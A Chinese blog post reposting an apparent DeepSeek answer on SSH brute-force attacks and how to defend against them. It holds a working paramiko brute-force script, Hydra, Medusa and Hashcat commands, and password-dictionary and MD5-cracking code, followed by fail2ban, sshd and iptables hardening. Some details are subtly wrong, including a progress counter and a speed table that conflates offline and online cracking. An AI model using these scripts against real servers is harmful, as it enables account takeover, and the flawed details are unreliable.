2026-03-19 暴力破解与防御(deepseek)
我的服务器被攻击了,以下是问ai关于暴力破解与防御的内容。
🔍 暴力破解的全过程
这是一个很好的问题!让我用实际代码和操作步骤来展示暴力破解是如何发生的。
📡 暴力破解的完整流程
graph LR
A[获取目标] --> B[选择攻击方式]
B --> C[在线破解]
B --> D[离线破解]
C --> E[编写脚本/使用工具]
D --> F[获取哈希文件]
E --> G[尝试登录]
F --> H[本地计算哈希]
G --> I[分析结果]
H --> I
💻 实际代码示例
1️⃣ 最简单的SSH暴力破解脚本(Python)
#!/usr/bin/env python3
# ssh_bruteforce.py - 仅用于教育目的!
import paramiko
import sys
from itertools import product
import string
def ssh_bruteforce(host, username, password_list):
"""
尝试SSH登录
注意:这是演示代码,请勿用于非法用途!
"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in password_list:
try:
print(f"[*] 尝试密码: {password}")
client.connect(
hostname=host,
port=22,
username=username,
password=password,
timeout=3
)
print(f"[+] 成功!密码是: {password}")
client.close()
return password
except paramiko.AuthenticationException:
continue
except Exception as e:
print(f"[-] 连接错误: {e}")
continue
print("[-] 没有找到正确密码")
return None
# 生成简单密码字典
def generate_simple_passwords():
passwords = []
# 常见密码
common = ['123456', 'password', 'admin', 'root', '12345678']
passwords.extend(common)
# 生成6位数字密码
for i in range(1000000):
passwords.append(str(i).zfill(6))
return passwords
if __name__ == "__main__":
host = "114.132.249.3" # 你的服务器
username = "root"
passwords = generate_simple_passwords()
ssh_bruteforce(host, username, passwords)
2️⃣ 专业的暴力破解工具
Hydra(最流行的在线破解工具)
# 安装Hydra
apt-get install hydra # Ubuntu
yum install hydra # CentOS
# SSH暴力破解
hydra -l root -P passwords.txt ssh://114.132.249.3
# 带参数说明
hydra -l 用户名 -P 密码字典.txt 目标IP ssh
# 多线程破解
hydra -l root -P passwords.txt -t 4 ssh://114.132.249.3
Medusa(另一个常用工具)
# 安装Medusa
apt-get install medusa
# SSH破解
medusa -h 114.132.249.3 -u root -P passwords.txt -M ssh
3️⃣ 密码字典生成
# password_generator.py - 生成密码字典
import itertools
import string
def generate_dictionary(output_file, min_len=1, max_len=4):
"""
生成密码字典文件
"""
chars = string.ascii_letters + string.digits + string.punctuation
with open(output_file, 'w') as f:
for length in range(min_len, max_len + 1):
for combo in itertools.product(chars, repeat=length):
password = ''.join(combo)
f.write(password + '\n')
if len(combo) % 10000 == 0:
print(f"已生成 {len(combo)} 个密码...")
# 生成4位以内所有组合(约8140万种)
# generate_dictionary('passwords.txt', 1, 4)
# 更实用的:常见密码 + 变体
def generate_common_passwords():
common = [
'admin', 'root', 'password', '123456', 'qwerty',
'admin123', 'root123', 'password123', '12345678',
'admin123456', 'root123456', 'password123456'
]
variations = []
for pwd in common:
variations.append(pwd)
variations.append(pwd.upper())
variations.append(pwd.capitalize())
variations.append(pwd + '!')
variations.append(pwd + '@')
variations.append(pwd + '#')
variations.append(pwd + '2024')
variations.append(pwd + '2025')
return variations
passwords = generate_common_passwords()
with open('common.txt', 'w') as f:
for pwd in passwords:
f.write(pwd + '\n')
4️⃣ 离线破解(拿到密码哈希后)
# hash_crack.py - 离线MD5破解
import hashlib
import time
def crack_md5_hash(target_hash, password_list):
"""
破解MD5哈希
"""
start_time = time.time()
attempts = 0
for password in password_list:
attempts += 1
hash_attempt = hashlib.md5(password.encode()).hexdigest()
if attempts % 100000 == 0:
print(f"已尝试 {attempts} 次...")
if hash_attempt == target_hash:
elapsed = time.time() - start_time
print(f"[+] 找到密码: {password}")
print(f"[+] 尝试次数: {attempts}")
print(f"[+] 耗时: {elapsed:.2f}秒")
return password
print("[-] 未找到密码")
return None
# 使用Hashcat(专业工具)
"""
# Hashcat命令示例
hashcat -m 0 -a 0 hash.txt passwords.txt # 字典攻击
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a # 暴力破解6位
"""
5️⃣ 你服务器上正在发生的攻击
从你的日志看到的攻击,相当于有人在运行类似这样的命令:
# 用常见用户名列表尝试
for user in root admin adminuser test; do
hydra -l $user -P common_passwords.txt ssh://114.132.249.3
done
# 或者用Python脚本持续尝试
while true; do
python3 ssh_bruteforce.py --target 114.132.249.3 --user root
sleep 1
done
🛡️ 如何防御这些攻击
1️⃣ Fail2ban配置(自动封IP)
# /etc/fail2ban/jail.local
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/secure
maxretry = 3
bantime = 86400
findtime = 600
2️⃣ 修改SSH配置
# /etc/ssh/sshd_config
Port 2222 # 改端口
PermitRootLogin no # 禁止root
PasswordAuthentication no # 禁止密码
MaxAuthTries 3 # 最大尝试次数
LoginGraceTime 30 # 登录超时
3️⃣ 监控脚本
#!/bin/bash
# monitor_attacks.sh - 实时监控攻击
tail -f /var/log/secure | while read line; do
if echo "$line" | grep -q "Failed password"; then
IP=$(echo "$line" | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b")
DATE=$(date +%H:%M:%S)
echo "[$DATE] 攻击IP: $IP"
# 自动封禁频繁攻击的IP
COUNT=$(grep -c "$IP" /var/log/secure)
if [ $COUNT -gt 10 ]; then
iptables -I INPUT -s $IP -j DROP
echo "[$DATE] 已封禁攻击IP: $IP"
fi
fi
done
📊 实际攻击速度对比
| 设备 | 每秒尝试次数 | 破解8位密码需要 |
|---|---|---|
| 你的脚本 | 10-50次 | 几百年 |
| Hydra(4线程) | 100-200次 | 几十年 |
| 单块显卡 | 10万-100万次 | 几天 |
| 8块RTX 4090 | 1000万次 | 几小时 |
| 超级计算机 | 10亿次+ | 几分钟 |
✅ 结论
你服务器上的攻击者用的是最入门的脚本(每秒几次到几十次),所以虽然尝试了3.8万次,但:
- 速度太慢
- 字典不够大
- 没有针对性
但如果他们升级装备(用显卡集群),情况就完全不同了。所以必须立即加固!

浙公网安备 33010602011771号